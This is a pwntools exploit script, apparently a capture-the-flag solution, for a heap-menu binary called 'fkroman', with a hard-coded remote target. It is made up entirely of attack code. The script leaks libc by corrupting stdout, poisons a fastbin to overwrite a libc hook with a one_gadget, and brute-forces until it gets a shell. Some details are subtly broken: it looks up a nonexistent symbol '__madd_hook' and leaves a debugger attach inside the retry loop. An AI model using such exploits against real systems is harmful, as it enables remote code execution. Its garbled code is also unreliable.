1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134
| from pwn import * from libformatstr import FormatStr context.log_level = 'debug' context(arch='amd64', os='linux') local = 1 elf = ELF('./fkroman') if local: p = process('./fkroman') libc = elf.libc else: p = remote('121.40.246.48',9999)
sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive()
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr): gdb.attach(p,"b *"+str(hex(addr)))
def add(index,size): ru("Your choice: ") sl('1') ru("Index: ") sl(str(index)) ru("Size: ") sl(str(size)) def dele(index): ru("Your choice: ") sl('3') ru("Index: ") sl(str(index)) def edit(index,size,content): ru("Your choice: ") sl('4') ru("Index: ") sl(str(index)) ru("Size: ") sl(str(size)) ru("Content: ") sd(content)
def pwn(): add(0,0x400) add(1,0x60) add(2,0x60) add(3,0x60) dele(0)
t = 0x7 stdout = (t << 12) | 0x620 add(4,0x60) add(5,0x60) add(6,0x60) add(7,0x60) dele(5) dele(6) debug(0) edit(6,1,"\x00") edit(4,2,p16(stdout-0x43)) add(8,0x60) add(9,0x60) add(10,0x60) payload = "\x00"*0x33+p64(0xfbad1800)+p64(0)*3+"\x00" edit(10,len(payload),payload) rc(0x40) libc_base = u64(rc(8)) - 0x3c5600 onegadget = libc_base + 0x4526a fake_chunk = libc_base + libc.symbols["__madd_hook"] - 0x23 dele(5) edit(5,0x8,p64(fake_chunk)) add(5,0x60) add(12,0x60) edit(12,0x1b,'a'*0x13+p64(onegadget)) add(12,0x60) i = 0 while 1: print i i += 1 try: pwn() except EOFError: p.close() local = 1 elf = ELF('./fkroman') if local: p = process('./fkroman') libc = elf.libc continue else: p = remote('121.40.246.48',9999) else: sl("ls") break p.interactive()
|